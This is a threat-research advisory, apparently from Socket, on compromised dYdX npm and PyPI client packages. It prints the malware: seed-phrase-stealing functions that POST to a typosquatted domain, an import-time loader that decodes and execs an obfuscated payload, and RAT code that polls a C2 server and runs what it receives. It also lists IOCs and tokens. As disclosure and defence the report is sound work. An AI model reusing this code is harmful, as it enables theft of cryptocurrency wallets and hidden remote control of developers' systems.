Socket's Threat Research Team discovered a supply chain attack targeting the dYdX protocol package across npm and PyPI ecosystems. The dYdX protocol is a decentralized exchange for cryptocurrency derivatives trading. The @dydxprotocol/v4-client-js (npm) and dydx-v4-client (PyPI) packages provide developers with tools to interact with the dYdX v4 protocol, including transaction signing, order placement, and wallet management. Applications using these packages handle sensitive cryptocurrency operations.

The compromised versions affected both the JavaScript and Python ecosystems with different payloads, targeting the two most common languages for trading automation and quantitative finance development.

npm: Cryptocurrency wallet stealer that exfiltrates seed phrases and device fingerprints.

PyPI: Wallet stealer plus Remote Access Trojan (RAT) enabling arbitrary code execution.

Compromised Versions:

npm ( @dydxprotocol/v4-client-js ):

• 3.4.1
• 1.22.1
• 1.15.2
• 1.0.31

PyPI ( dydx-v4-client ):

• 1.1.5post1

dYdX is one of the largest decentralized derivatives exchanges, processing over $1.5 trillion in lifetime trading volume with daily trading volume averaging $200-540 million and approximately $175 million in open interest. The platform supports 240+ perpetual trading markets and has over 70,700 token holders. These packages are used by trading bots, portfolio management tools, market makers, algorithmic traders, and DeFi applications that integrate dYdX's trading infrastructure. Applications that use these packages in custodial contexts such as trading bots, automated strategies, or backend services that directly handle mnemonics or private keys for signing, are high-value targets for credential theft.

The compromised versions affected both the JavaScript and Python ecosystems with different payloads, targeting the two most common languages for trading automation and quantitative finance development.

npm: Cryptocurrency wallet stealer that exfiltrates seed phrases and device fingerprints.

PyPI: Wallet stealer plus Remote Access Trojan (RAT) enabling arbitrary code execution.

Compromised Versions:

npm ( @dydxprotocol/v4-client-js ):

• 3.4.1
• 1.22.1
• 1.15.2
• 1.0.31

PyPI ( dydx-v4-client ):

• 1.1.5post1

The attack appears consistent with developer account compromise, though this has not been confirmed. Multiple malicious versions were published simultaneously to both ecosystems using legitimate publishing credentials, with the malware embedded deep within authentic package structures rather than added as external dependencies. The threat actor demonstrated detailed knowledge of the package internals, inserting malicious code into core registry files ( registry.ts , registry.js , account.py ) that would execute during normal package usage. The 100-iteration obfuscation in the PyPI version and the coordinated cross-ecosystem deployment suggest the threat actor had direct access to publishing infrastructure rather than exploiting a technical vulnerability in the registries themselves.

Prior Security Incidents Affecting dYdX-Related Infrastructure #

This attack is not an isolated event. Over the past several years, threat actors have repeatedly targeted dYdX-related infrastructure and packages through different attack vectors, including supply chain compromise and domain-level attacks.

September 2022: npm Supply Chain Compromise

In September 2022, multiple npm packages used by cryptocurrency exchanges, including packages associated with the dYdX ecosystem, were compromised after a maintainer’s npm account was taken over. The malicious versions embedded install-time scripts that fetched and executed external payloads during installation.

The malware targeted developer environments, exfiltrating sensitive data such as environment variables, AWS credentials, GitHub tokens, and SSH keys. At least dozens of downstream crypto projects were impacted before the malicious packages were removed. dYdX confirmed at the time that its core smart contracts and exchange infrastructure were not compromised, and that the incident was limited to affected npm packages published via compromised credentials.

July 2024: DNS Hijacking of dYdX v3 Website

In July 2024, the dYdX v3 website was compromised in a DNS hijacking attack that redirected users to a phishing site. The malicious site prompted users to sign PERMIT2 transactions designed to drain wallets. This incident targeted end users through domain infrastructure rather than software packages or developer tooling.

While the 2024 attack affected the dYdX v3 web frontend, the current incident directly compromises the dYdX v4 client libraries that developers integrate into their applications, marking a significant escalation in scope and impact.

Socket identified malicious behavior in these packages on January 27, 2026. Based on internal analysis across the affected releases, the malicious packages were detected within minutes of publication, with discovery timestamps clustered around January 27, 2026 (UTC).

Socket notified the dYdX team of the compromised packages on January 28, 2026 at approximately 12:19 UTC (4:19 AM PST), providing details of the malicious behavior and affected versions. Later that day, following our disclosure of the compromise to the dYdX project, dYdX publicly acknowledged the incident via their official X (Twitter) account , warning users about the malicious package uploads.

npm Package: Credential Theft #

The npm package embeds a malicious createRegistry() function in registry.ts , registry.js , and another identical registry.js in a different file path. When developers integrate this package and pass a user's seed phrase to createRegistry() , the function exfiltrates it alongside a device fingerprint. Following are the code snippets with inline comments added by our team for clarity.

export async function createRegistry(phrase: string) {
  try {
    const uid = getDeviceUuid();
    await fetch("https://dydx[.]priceoracle[.]site/v4/price", {
      method: "POST",
      body: JSON.stringify({
        phrase,              // Victim's seed phrase
        "api-key": "dydx1gh6fj28w37rykqu6szgp9q0rzejslmj0umk55c",
        uid                  // Device fingerprint
      })
    })
  } catch { }
}

The empty catch block silences network errors, preventing console warnings during testing. The exfiltration domain dydx[.]priceoracle[.]site mimics the legitimate dYdX service at dydx[.]xyz through typosquatting.

Device Fingerprinting #

The malware generates a unique identifier from system information:

function getDeviceUuid() {
  try {
    const parts = [];
    parts.push(getMacLikeUuidNode());      // MAC address
    parts.push(os.hostname());              // Hostname
    parts.push(os.platform());              // OS platform
    parts.push(os.release());               // OS version
    parts.push(os.arch());                  // Architecture
    parts.push(fs.readFileSync("/etc/machine-id", "utf8").trim());
    parts.push(process.env.HOSTNAME || "");
    parts.push(process.env.COMPUTERNAME || "");

    const fingerprint = parts.join("|");
    const digest = crypto.createHash("sha256").update(fingerprint, "utf8").digest();
    const b = Buffer.from(digest.subarray(0, 16));
    b[6] = (b[6] & 0x0f) | 0x40;
    b[8] = (b[8] & 0x3f) | 0x80;
    return formatUuidFromBytes(b);
  } catch {
    return "00000000-0000-0000-0000-000000000000"
  }
}

The fingerprint allows the threat actor to correlate stolen credentials with specific machines and track victims across multiple compromises.

PyPI Package: Credential Theft + Remote Access Trojan #

The PyPI package includes the same credential theft mechanism plus an additional Remote Access Trojan hidden inside an encrypted payload. The RAT enables arbitrary code execution on victim systems.

Credential Theft

The PyPI package embeds credential theft inside account.py as a function named list_prices() . The function claims to query trading prices but exfiltrates seed phrases:

def list_prices(self, phrase: str) -> Any:
    """
    Query for prices for trading.
    Args:
        phrase (str): The account phrase
    Returns:
        Any: The aggregated list of price.
    """
    # Device fingerprinting (same logic as npm version)
    parts = []
    parts.append(str(uuid.getnode()))          # MAC address
    parts.append(socket.gethostname())
    parts.append(platform.system())
    parts.append(platform.release())
    parts.append(platform.machine())
    if os.path.exists("/etc/machine-id"):
        parts.append(open("/etc/machine-id").read().strip())
    parts.append(os.getenv("HOSTNAME", ""))
    parts.append(os.getenv("COMPUTERNAME", ""))

    fingerprint = "|".join(parts)
    digest = hashlib.sha256(fingerprint.encode()).hexdigest()
    b = bytearray.fromhex(digest[:32])
    b[6] = (b[6] & 0x0F) | 0x40
    b[8] = (b[8] & 0x3F) | 0x80
    uid = str(uuid.UUID(bytes=bytes(b)))

    r = requests.post(
        self.host + "/v4/price",
        json={
            "phrase": phrase,
            "api-key": "dydx1gh6fj28w37rykqu6szgp9q0rzejslmj0umk55c",
            "uid": uid
        },
        timeout=20
    )
    r.raise_for_status()
    return r.text

The device fingerprinting logic mirrors the npm implementation with minor adjustments for Python's standard library.

Remote Access Trojan Payload #

The PyPI package includes three additional files not present in the npm version:

• config.py : Contains the encrypted RAT payload in a variable named GENSIS_BLOCKS
• _bootstrap.py : Auto-executes the payload when the package is imported
• Deobfuscated RAT: Contacts the C2 server for arbitrary code execution

Payload Obfuscation

The GENSIS_BLOCKS variable holds a 5,527-character base64-encoded blob. The _bootstrap.py file deobfuscates it using 100 iterations of: reverse string → base64 decode → zlib decompress (wbits=47).

import base64 as b, gzip as g, zlib as z
from functools import reduce
from .config import GENSIS_BLOCKS

_initialized = False

def D(s):
    """Single deobfuscation pass"""
    try:
        return z.decompress(b.b64decode(s[::-1]+"==="), 47).decode("utf8", "replace")
    except:
        raise

def init():
    global _initialized
    if _initialized:
        return
    _initialized = True

    # Apply 100 deobfuscation iterations
    dz = lambda s, n: reduce(lambda a, _: D(a), range(n), s)
    ns = {}
    exec(dz(GENSIS_BLOCKS, 100), ns)  # Execute deobfuscated payload

The init() function runs automatically on first import, executing the RAT silently in the background.

RAT Functionality

The deobfuscated payload reveals a Remote Access Trojan that contacts https://dydx[.]priceoracle[.]site/py for commands:

def main() -> None:
    payload_data = {
        "uid": str(uuid.uuid4())
    }
    file_data = {"file": {"name": "t.py"}}
    payload_data["data"] = json.dumps(file_data)

    while True:
        response = send_post_request(
            f"https://dydx[.]priceoracle[.]site/py",
            payload_data
        )
        if response != "":
            run_script_async(response)  # Execute code from server
            time.sleep(5)
            break
        else:
            time.sleep(10)

# Start RAT in background daemon thread
t = threading.Thread(target=main, daemon=True, name="async-main-runner")
t.start()

The RAT:

• Runs as a background daemon thread
• Beacons to the C2 server every 10 seconds
• Receives Python code from the server
• Executes it in an isolated subprocess with no visible output
• Uses a hardcoded authorization token: 490CD9DAD3FAE1F59521C27A96B32F5D677DD41BF1F706A0BF85E69CA6EBFE75

def send_post_request(server_url: str, payload_data: Dict[str, Any]) -> str:
    req = urllib.request.Request(
        url=server_url,
        data=json.dumps(payload_data).encode("utf-8"),
        headers={
            "Content-Type": "application/json",
            "Accept": "application/json, text/plain, */*",
            "Authorization": "490CD9DAD3FAE1F59521C27A96B32F5D677DD41BF1F706A0BF85E69CA6EBFE75"
        },
        method="POST",
    )
    # ... executes with disabled SSL verification

The run_script_async() function creates temporary files containing the received code, executes them with all stdio redirected to /dev/null , and deletes the files afterward. On Windows, it uses the CREATE_NO_WINDOW flag to hide the process entirely.

Malicious Infrastructure #

The threat actor registered priceoracle[.]site on January 9, 2026, approximately 3 weeks before the compromise. The domain mimics legitimate price oracle services commonly used in cryptocurrency trading, while the dYdX subdomain creates false association with the dYdX protocol.

The malicious infrastructure serves two endpoints:

• https://dydx[.]priceoracle[.]site/v4/price - Credential exfiltration (npm & PyPI)
• https://dydx[.]priceoracle[.]site/py - RAT command & control (PyPI only)

The domain status shows "server transfer prohibited" and "client hold," indicating it has likely been seized or locked following abuse reports. However, the threat actor may have already exfiltrated stolen credentials and established persistent RAT access on compromised systems before the domain was disabled.

The recent registration date (less than a month before the attack) and the typosquatting approach (mimicking "oracle" services rather than "dydx" directly) suggest this was purpose-built infrastructure for the campaign.

Impact #

Every application using the compromised npm versions is at risk if createRegistry() receives a seed phrase. Direct impact includes complete wallet compromise and irreversible cryptocurrency theft. The attack scope includes all applications depending on the compromised versions and both developers testing with real credentials and production end-users.

PyPI users face complete system compromise beyond wallet theft. The RAT allows threat actor to:

• Execute arbitrary Python code with user privileges
• Steal SSH keys, API credentials, and source code
• Install persistent backdoors
• Exfiltrate sensitive files
• Monitor user activity
• Modify critical files
• Pivot to other systems on the network

The RAT runs silently as a daemon thread with no console output. Victims have no visibility into what commands were executed or what data was stolen. The compromise persists as long as any Python process imports the malicious package.

For enterprise environments, the device fingerprinting component reveals system configuration details, hostnames, and network topology information that could facilitate targeted attacks.

Outlook and Recommendations #

Viewed alongside the 2022 npm supply chain compromise and the 2024 DNS hijacking incident, this attack highlights a persistent pattern of adversaries targeting dYdX-related assets through trusted distribution channels. The threat actor simultaneously compromised packages in both npm and PyPI ecosystems, expanding the attack surface to reach JavaScript and Python developers working with dYdX. The PyPI version deploys significantly more dangerous capabilities through the RAT payload, suggesting the threat actor invested additional effort to maximize impact on Python users.

The nearly identical credential theft implementations across languages indicate deliberate planning. The threat actor maintained consistent exfiltration endpoints, API keys, and device fingerprinting logic while deploying ecosystem-specific attack vectors. The npm version focuses on credential theft, while the PyPI version adds persistent system access.

The RAT's multi-stage obfuscation (100 iterations of reverse → base64 → zlib) and silent background execution demonstrate technical proficiency. The use of daemon threads, disabled SSL verification, and hidden subprocess execution indicates experience with stealth operations.

Developer account compromise allows threat actors to inject malicious code into trusted packages, bypassing standard security reviews. This attack follows patterns seen in event-stream (2018), coa/rc (2021), and node-ipc (2022), but represents an escalation through multi-ecosystem deployment and arbitrary code execution capabilities.

Similar attacks will continue targeting high-value cryptocurrency packages across all major ecosystems. Development teams should treat all dependencies handling sensitive credentials as high-risk and implement defense-in-depth strategies including automated scanning, network monitoring, and least-privilege access controls.

Socket provides multiple layers of defense against supply chain attacks like this dYdX compromise. When developers browse package registries, the Socket browser extension identifies suspicious packages and typosquatting domains before installation. During development, the Socket GitHub App analyzes dependencies in pull requests, detecting credential exfiltration, obfuscated payloads, and malicious network calls before code merges. At install time, the Socket CLI blocks packages exhibiting dangerous behaviors and enforces security policies across the development pipeline. For production environments, Socket Firewall prevents package managers from downloading compromised versions entirely, blocking both direct dependencies and their transitive dependencies. When using AI coding assistants, Socket MCP validates package suggestions in real-time, preventing tools from recommending malicious versions or hallucinated packages.

MITRE ATT&CK #

• T1195.002 — Supply Chain Compromise: Compromise Software Supply Chain
• T1059.006 — Command and Scripting Interpreter: Python
• T1071.001 — Application Layer Protocol: Web Protocols
• T1027 — Obfuscated Files or Information
• T1082 — System Information Discovery
• T1041 — Exfiltration Over C2 Channel
• T1005 — Data from Local System

Indicators of Compromise (IOCs) #

Malicious Endpoints

• https://dydx[.]priceoracle[.]site
• https://dydx[.]priceoracle[.]site/v4/price
• https://dydx[.]priceoracle[.]site/py

Malicious Packages

• npm: @dydxprotocol/v4-client ( v1.0.31, v1.15.2, v1.22.1, v3.4.1 )
• PyPI: dydx-v4-client ( v1.1.5post1 )

Hardcoded Credentials

• Credential theft API key: dydx1gh6fj28w37rykqu6szgp9q0rzejslmj0umk55c
• RAT authorization token: 490CD9DAD3FAE1F59521C27A96B32F5D677DD41BF1F706A0BF85E69CA6EBFE75